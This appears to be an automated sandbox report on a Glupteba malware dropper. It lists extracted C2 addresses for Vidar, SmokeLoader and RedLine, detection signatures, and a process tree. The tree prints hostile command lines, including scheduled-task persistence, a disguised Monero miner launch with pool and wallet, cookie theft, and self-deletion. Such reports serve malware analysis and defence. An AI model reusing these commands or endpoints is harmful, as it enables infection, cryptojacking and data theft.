glupteba | 6814143c59108c0010bd29365823a38f61062a1978987b4798671334aa496740

Analysis

max time kernel
151s
max time network
193s
platform
windows7_x64
resource
win7v20210410
submitted
13-08-2021 06:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

af01213c_ApfpjrvTmZ.exe
Size

5.7MB
MD5

af01213c6e231fc59e9518f831a30d36
SHA1

d05ca19f8f8d2f72e62b4a6726cf041e7ec86f5e
SHA256

6814143c59108c0010bd29365823a38f61062a1978987b4798671334aa496740
SHA512

acb6c709dd723ec826b83dac2a6309b607f3c77e3074bf9d0617c6565f7e12a13272bd3495e3311126e1a009ba292bcdc2f79589cf8869a4b95759367846876f

Malware Config

Extracted

Family

vidar

Version

Botnet

706

https://lenak513.tumblr.com/

Attributes

profile_id
706

Extracted

Family

smokeloader

Version

2020

http://aucmoney.com/upload/

http://thegymmum.com/upload/

http://atvcampingtrips.com/upload/

http://kuapakualaman.com/upload/

http://renatazarazua.com/upload/

http://nasufmutlu.com/upload/

rc4.i32

Extracted

Family

vidar

Version

Botnet

916

https://lenak513.tumblr.com/

Attributes

profile_id
916

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

redline

Botnet

dibild

135.148.139.222:33569

Extracted

Family

redline

Botnet

installs2

65.21.228.92:46802

Extracted

Family

vidar

Version

Botnet

937

https://lenak513.tumblr.com/

Attributes

profile_id
937

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 2 IoCs

resource	yara_rule
behavioral1/memory/2632-251-0x0000000002D50000-0x0000000003676000-memory.dmp	family_glupteba
behavioral1/memory/2632-253-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	772	2404	rundll32.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1684	2404	rundll32.exe	62

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 3 IoCs

resource	yara_rule
behavioral1/memory/2788-263-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/2592-259-0x0000000000290000-0x00000000002A9000-memory.dmp	family_redline
behavioral1/memory/2788-271-0x0000000000418E52-mapping.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata

CustAttr .NET packer 1 IoCs

Detects CustAttr .NET packer in memory.

resource	yara_rule
behavioral1/memory/2544-254-0x0000000000A50000-0x0000000000A5B000-memory.dmp	CustAttr

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 6 IoCs

stealer

resource	yara_rule
behavioral1/memory/832-169-0x0000000000400000-0x0000000002CC8000-memory.dmp	family_vidar
behavioral1/memory/832-142-0x0000000000240000-0x00000000002DD000-memory.dmp	family_vidar
behavioral1/memory/2468-211-0x0000000000280000-0x000000000031D000-memory.dmp	family_vidar
behavioral1/memory/2468-228-0x0000000000400000-0x0000000002CBE000-memory.dmp	family_vidar
behavioral1/memory/2812-305-0x0000000000400000-0x000000000095B000-memory.dmp	family_vidar
behavioral1/memory/2812-301-0x00000000022A0000-0x000000000233D000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x00030000000130e8-76.dat	aspack_v212_v242
behavioral1/files/0x00030000000130e7-78.dat	aspack_v212_v242
behavioral1/files/0x00030000000130e8-77.dat	aspack_v212_v242
behavioral1/files/0x00030000000130e7-79.dat	aspack_v212_v242
behavioral1/files/0x00030000000130ea-82.dat	aspack_v212_v242
behavioral1/files/0x00030000000130ea-83.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 10 IoCs

pid	Process
1660	setup_installer.exe
524	setup_install.exe
832	41e718b8b1c32.exe
1952	2424320fd3.exe
920	824f4766e821701.exe
1628	689f2a8e13ce6.exe
1392	228d434d1f139.exe
1568	bee7625d7f3708.exe
296	7529e76a5fb92d7.exe
1636	228d434d1f139.exe

VMProtect packed file 2 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/memory/2820-246-0x0000000000400000-0x000000000067D000-memory.dmp	vmprotect
behavioral1/memory/2820-248-0x0000000000400000-0x000000000067D000-memory.dmp	vmprotect

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2424320fd3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2424320fd3.exe

Loads dropped DLL 36 IoCs

pid	Process
1908	af01213c_ApfpjrvTmZ.exe
1660	setup_installer.exe
1660	setup_installer.exe
1660	setup_installer.exe
1660	setup_installer.exe
1660	setup_installer.exe
1660	setup_installer.exe
524	setup_install.exe
524	setup_install.exe
524	setup_install.exe
524	setup_install.exe
524	setup_install.exe
524	setup_install.exe
524	setup_install.exe
524	setup_install.exe
1420	cmd.exe
552	cmd.exe
552	cmd.exe
828	cmd.exe
832	41e718b8b1c32.exe
832	41e718b8b1c32.exe
1952	2424320fd3.exe
1952	2424320fd3.exe
1680	cmd.exe
1680	cmd.exe
1812	cmd.exe
1016	cmd.exe
1016	cmd.exe
1676	cmd.exe
1628	689f2a8e13ce6.exe
1628	689f2a8e13ce6.exe
1392	228d434d1f139.exe
1392	228d434d1f139.exe
296	7529e76a5fb92d7.exe
296	7529e76a5fb92d7.exe
1392	228d434d1f139.exe

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x00030000000130ef-123.dat	themida
behavioral1/files/0x00030000000130ef-119.dat	themida
behavioral1/files/0x00030000000130ef-118.dat	themida
behavioral1/files/0x00030000000130ef-132.dat	themida
behavioral1/files/0x00030000000130ef-131.dat	themida
behavioral1/memory/1952-176-0x00000000013C0000-0x00000000013C1000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2424320fd3.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	ip-api.com
164	ipinfo.io
167	ipinfo.io
4	ipinfo.io
6	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1952	2424320fd3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
2396	332	WerFault.exe	52
2772	2060	WerFault.exe	57
3044	2820	WerFault.exe	75
3232	832	WerFault.exe	37
3260	2468	WerFault.exe	72
3784	1032	WerFault.exe	95

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3416	schtasks.exe
3124	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3976	timeout.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
3492	taskkill.exe
1124	taskkill.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	169	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	165	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1568	bee7625d7f3708.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1908 wrote to memory of 1660	1908	af01213c_ApfpjrvTmZ.exe	29
PID 1908 wrote to memory of 1660	1908	af01213c_ApfpjrvTmZ.exe	29
PID 1908 wrote to memory of 1660	1908	af01213c_ApfpjrvTmZ.exe	29
PID 1908 wrote to memory of 1660	1908	af01213c_ApfpjrvTmZ.exe	29
PID 1908 wrote to memory of 1660	1908	af01213c_ApfpjrvTmZ.exe	29
PID 1908 wrote to memory of 1660	1908	af01213c_ApfpjrvTmZ.exe	29
PID 1908 wrote to memory of 1660	1908	af01213c_ApfpjrvTmZ.exe	29
PID 1660 wrote to memory of 524	1660	setup_installer.exe	30
PID 1660 wrote to memory of 524	1660	setup_installer.exe	30
PID 1660 wrote to memory of 524	1660	setup_installer.exe	30
PID 1660 wrote to memory of 524	1660	setup_installer.exe	30
PID 1660 wrote to memory of 524	1660	setup_installer.exe	30
PID 1660 wrote to memory of 524	1660	setup_installer.exe	30
PID 1660 wrote to memory of 524	1660	setup_installer.exe	30
PID 524 wrote to memory of 1420	524	setup_install.exe	49
PID 524 wrote to memory of 1420	524	setup_install.exe	49
PID 524 wrote to memory of 1420	524	setup_install.exe	49
PID 524 wrote to memory of 1420	524	setup_install.exe	49
PID 524 wrote to memory of 1420	524	setup_install.exe	49
PID 524 wrote to memory of 1420	524	setup_install.exe	49
PID 524 wrote to memory of 1420	524	setup_install.exe	49
PID 524 wrote to memory of 552	524	setup_install.exe	32
PID 524 wrote to memory of 552	524	setup_install.exe	32
PID 524 wrote to memory of 552	524	setup_install.exe	32
PID 524 wrote to memory of 552	524	setup_install.exe	32
PID 524 wrote to memory of 552	524	setup_install.exe	32
PID 524 wrote to memory of 552	524	setup_install.exe	32
PID 524 wrote to memory of 552	524	setup_install.exe	32
PID 524 wrote to memory of 964	524	setup_install.exe	33
PID 524 wrote to memory of 964	524	setup_install.exe	33
PID 524 wrote to memory of 964	524	setup_install.exe	33
PID 524 wrote to memory of 964	524	setup_install.exe	33
PID 524 wrote to memory of 964	524	setup_install.exe	33
PID 524 wrote to memory of 964	524	setup_install.exe	33
PID 524 wrote to memory of 964	524	setup_install.exe	33
PID 524 wrote to memory of 828	524	setup_install.exe	34
PID 524 wrote to memory of 828	524	setup_install.exe	34
PID 524 wrote to memory of 828	524	setup_install.exe	34
PID 524 wrote to memory of 828	524	setup_install.exe	34
PID 524 wrote to memory of 828	524	setup_install.exe	34
PID 524 wrote to memory of 828	524	setup_install.exe	34
PID 524 wrote to memory of 828	524	setup_install.exe	34
PID 524 wrote to memory of 1064	524	setup_install.exe	35
PID 524 wrote to memory of 1064	524	setup_install.exe	35
PID 524 wrote to memory of 1064	524	setup_install.exe	35
PID 524 wrote to memory of 1064	524	setup_install.exe	35
PID 524 wrote to memory of 1064	524	setup_install.exe	35
PID 524 wrote to memory of 1064	524	setup_install.exe	35
PID 524 wrote to memory of 1064	524	setup_install.exe	35
PID 1420 wrote to memory of 920	1420	cmd.exe	48
PID 1420 wrote to memory of 920	1420	cmd.exe	48
PID 1420 wrote to memory of 920	1420	cmd.exe	48
PID 1420 wrote to memory of 920	1420	cmd.exe	48
PID 552 wrote to memory of 832	552	cmd.exe	37
PID 552 wrote to memory of 832	552	cmd.exe	37
PID 552 wrote to memory of 832	552	cmd.exe	37
PID 552 wrote to memory of 832	552	cmd.exe	37
PID 552 wrote to memory of 832	552	cmd.exe	37
PID 552 wrote to memory of 832	552	cmd.exe	37
PID 552 wrote to memory of 832	552	cmd.exe	37
PID 524 wrote to memory of 1016	524	setup_install.exe	36
PID 524 wrote to memory of 1016	524	setup_install.exe	36
PID 524 wrote to memory of 1016	524	setup_install.exe	36
PID 524 wrote to memory of 1016	524	setup_install.exe	36

C:\Users\Admin\AppData\Local\Temp\af01213c_ApfpjrvTmZ.exe
"C:\Users\Admin\AppData\Local\Temp\af01213c_ApfpjrvTmZ.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1908
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1660
- - C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:524
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 41e718b8b1c32.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:552
    - - C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\41e718b8b1c32.exe
        
        41e718b8b1c32.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:832
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 832 -s 1016
        6⤵
        Program crash
        
        PID:3232
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c APPNAME44.exe
      4⤵
      PID:964
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 2424320fd3.exe
      4⤵
      Loads dropped DLL
      PID:828
    - - C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\2424320fd3.exe
        
        2424320fd3.exe
        5⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1952
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c aea4d300485.exe
      4⤵
      PID:1064
    - - C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\aea4d300485.exe
        
        aea4d300485.exe
        5⤵
        
        PID:1100
      - C:\Users\Admin\AppData\Roaming\8366523.exe
        
        "C:\Users\Admin\AppData\Roaming\8366523.exe"
        6⤵
        
        PID:2924
      - C:\Users\Admin\AppData\Roaming\7668882.exe
        
        "C:\Users\Admin\AppData\Roaming\7668882.exe"
        6⤵
        
        PID:3012
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        
        PID:2304
      - C:\Users\Admin\AppData\Roaming\4353315.exe
        
        "C:\Users\Admin\AppData\Roaming\4353315.exe"
        6⤵
        
        PID:2144
      - C:\Users\Admin\AppData\Roaming\5888377.exe
        
        "C:\Users\Admin\AppData\Roaming\5888377.exe"
        6⤵
        
        PID:3472
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 7529e76a5fb92d7.exe
      4⤵
      Loads dropped DLL
      PID:1016
    - - C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\7529e76a5fb92d7.exe
        
        7529e76a5fb92d7.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:296
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bee7625d7f3708.exe
      4⤵
      Loads dropped DLL
      PID:1676
    - - C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\bee7625d7f3708.exe
        
        bee7625d7f3708.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1568
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        
        PID:332
        
        C:\Users\Admin\AppData\Local\Temp\chrome2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
        7⤵
        
        PID:1276
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:3312
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:3416
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        
        PID:3580
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:3676
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:3124
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:2320
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.main/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6BJ+edII5Fll530cZ/+msGEWovb73nU3RrOnuNmRoFcg" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:2256
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        
        PID:816
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        
        PID:2072
        
        C:\Users\Admin\AppData\Local\Temp\askinstall54.exe
        
        "C:\Users\Admin\AppData\Local\Temp\askinstall54.exe"
        7⤵
        
        PID:984
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        8⤵
        
        PID:3296
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        9⤵
        Kills process with taskkill
        
        PID:3492
        
        C:\Users\Admin\AppData\Local\Temp\dcc7975c8a99514da06323f0994cd79b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dcc7975c8a99514da06323f0994cd79b.exe"
        7⤵
        
        PID:2060
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2060 -s 1404
        8⤵
        Program crash
        
        PID:2772
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        
        PID:2140
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 332 -s 1060
        7⤵
        Program crash
        
        PID:2396
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 228d434d1f139.exe
      4⤵
      Loads dropped DLL
      PID:1680
    - - C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\228d434d1f139.exe
        
        228d434d1f139.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1392
      - C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\228d434d1f139.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\228d434d1f139.exe" -a
        6⤵
        Executes dropped EXE
        
        PID:1636
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 689f2a8e13ce6.exe
      4⤵
      Loads dropped DLL
      PID:1812
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 824f4766e821701.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1420

C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\689f2a8e13ce6.exe
689f2a8e13ce6.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1628
- C:\Users\Admin\Documents\TquDi2pGAQ6Ks0Eacwj8YdQK.exe
  "C:\Users\Admin\Documents\TquDi2pGAQ6Ks0Eacwj8YdQK.exe"
  2⤵
  PID:2488
- - C:\Users\Admin\Documents\TquDi2pGAQ6Ks0Eacwj8YdQK.exe
    C:\Users\Admin\Documents\TquDi2pGAQ6Ks0Eacwj8YdQK.exe
    3⤵
    PID:2788
- C:\Users\Admin\Documents\wRHoRJHqydWev4d3rwoIyxjX.exe
  "C:\Users\Admin\Documents\wRHoRJHqydWev4d3rwoIyxjX.exe"
  2⤵
  PID:2544
- - C:\Users\Admin\Documents\wRHoRJHqydWev4d3rwoIyxjX.exe
    "C:\Users\Admin\Documents\wRHoRJHqydWev4d3rwoIyxjX.exe"
    3⤵
    PID:1220
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe"
      4⤵
      PID:4068
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        5⤵
        
        PID:2248
- C:\Users\Admin\Documents\bRhauh__9XjQQ4SULArQGf2R.exe
  "C:\Users\Admin\Documents\bRhauh__9XjQQ4SULArQGf2R.exe"
  2⤵
  PID:2592
- C:\Users\Admin\Documents\_vD9LpMG5PSJNqpgEaTQ5AJ6.exe
  "C:\Users\Admin\Documents\_vD9LpMG5PSJNqpgEaTQ5AJ6.exe"
  2⤵
  PID:2576
- C:\Users\Admin\Documents\2rpccC7DhzGCThqIIxeNOlrr.exe
  "C:\Users\Admin\Documents\2rpccC7DhzGCThqIIxeNOlrr.exe"
  2⤵
  PID:2564
- C:\Users\Admin\Documents\bJKEyTnQl7kZv8pLUh9VWS5u.exe
  "C:\Users\Admin\Documents\bJKEyTnQl7kZv8pLUh9VWS5u.exe"
  2⤵
  PID:2504
- - C:\Users\Admin\Documents\bJKEyTnQl7kZv8pLUh9VWS5u.exe
    C:\Users\Admin\Documents\bJKEyTnQl7kZv8pLUh9VWS5u.exe
    3⤵
    PID:2768
- C:\Users\Admin\Documents\xyViPM_S05hjK5k2sAIOVK0N.exe
  "C:\Users\Admin\Documents\xyViPM_S05hjK5k2sAIOVK0N.exe"
  2⤵
  PID:2480
- C:\Users\Admin\Documents\jN0KGYupxnOouV5czbiQQ_pO.exe
  "C:\Users\Admin\Documents\jN0KGYupxnOouV5czbiQQ_pO.exe"
  2⤵
  PID:2468
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2468 -s 972
    3⤵
    - Program crash
    PID:3260
- C:\Users\Admin\Documents\TsFR9WElFV_zXMF4gTWztmog.exe
  "C:\Users\Admin\Documents\TsFR9WElFV_zXMF4gTWztmog.exe"
  2⤵
  PID:2644
- C:\Users\Admin\Documents\NqtS9Srib5TaNOEkzVABa_Jb.exe
  "C:\Users\Admin\Documents\NqtS9Srib5TaNOEkzVABa_Jb.exe"
  2⤵
  PID:2632
- C:\Users\Admin\Documents\7UJ0PGXS5XquGyNZPeQxZ1GR.exe
  "C:\Users\Admin\Documents\7UJ0PGXS5XquGyNZPeQxZ1GR.exe"
  2⤵
  PID:2724
- C:\Users\Admin\Documents\coty8fqgnKcg3VfQiJn9GPxS.exe
  "C:\Users\Admin\Documents\coty8fqgnKcg3VfQiJn9GPxS.exe"
  2⤵
  PID:2692
- C:\Users\Admin\Documents\mHFv6VP000fmqSDwK_gKUKvE.exe
  "C:\Users\Admin\Documents\mHFv6VP000fmqSDwK_gKUKvE.exe"
  2⤵
  PID:2004
- - C:\Users\Admin\AppData\Roaming\5428478.exe
    "C:\Users\Admin\AppData\Roaming\5428478.exe"
    3⤵
    PID:3920
- - C:\Users\Admin\AppData\Roaming\8106308.exe
    "C:\Users\Admin\AppData\Roaming\8106308.exe"
    3⤵
    PID:3916
- C:\Users\Admin\Documents\kk2RGvogZkmUJzZaKJQOJU1N.exe
  "C:\Users\Admin\Documents\kk2RGvogZkmUJzZaKJQOJU1N.exe"
  2⤵
  PID:2896
- C:\Users\Admin\Documents\uaAXhSp8VAwn7UNbrMF4Fle2.exe
  "C:\Users\Admin\Documents\uaAXhSp8VAwn7UNbrMF4Fle2.exe"
  2⤵
  PID:2584
- - C:\Users\Admin\AppData\Roaming\8670915.exe
    "C:\Users\Admin\AppData\Roaming\8670915.exe"
    3⤵
    PID:3592
- - C:\Users\Admin\AppData\Roaming\4378776.exe
    "C:\Users\Admin\AppData\Roaming\4378776.exe"
    3⤵
    PID:3732
- C:\Users\Admin\Documents\y84sSf1dGEVMmCa_YkBLSdNX.exe
  "C:\Users\Admin\Documents\y84sSf1dGEVMmCa_YkBLSdNX.exe"
  2⤵
  PID:2812
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im y84sSf1dGEVMmCa_YkBLSdNX.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\y84sSf1dGEVMmCa_YkBLSdNX.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:3524
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im y84sSf1dGEVMmCa_YkBLSdNX.exe /f
      4⤵
      Kills process with taskkill
      PID:1124
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:3976
- C:\Users\Admin\Documents\y1Pv5XVaIhSTHZCLkDdV0e2K.exe
  "C:\Users\Admin\Documents\y1Pv5XVaIhSTHZCLkDdV0e2K.exe"
  2⤵
  PID:3140
- - C:\Users\Admin\AppData\Local\Temp\is-BK7OD.tmp\y1Pv5XVaIhSTHZCLkDdV0e2K.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-BK7OD.tmp\y1Pv5XVaIhSTHZCLkDdV0e2K.tmp" /SL5="$70164,138429,56832,C:\Users\Admin\Documents\y1Pv5XVaIhSTHZCLkDdV0e2K.exe"
    3⤵
    PID:3540

C:\Users\Admin\AppData\Local\Temp\7zSC76644D4\824f4766e821701.exe
824f4766e821701.exe
1⤵
- Executes dropped EXE
PID:920

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
1⤵
PID:2820
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2820 -s 276
  2⤵
  - Program crash
  PID:3044

C:\Program Files (x86)\Company\NewProduct\jooyu.exe
"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
1⤵
PID:2856
- C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
  2⤵
  PID:1124
- C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
  2⤵
  PID:3244

C:\Program Files (x86)\Company\NewProduct\customer3.exe
"C:\Program Files (x86)\Company\NewProduct\customer3.exe"
1⤵
PID:2792

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:772
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:1336

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
PID:1032
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 224
  2⤵
  - Program crash
  PID:3784

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:3964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

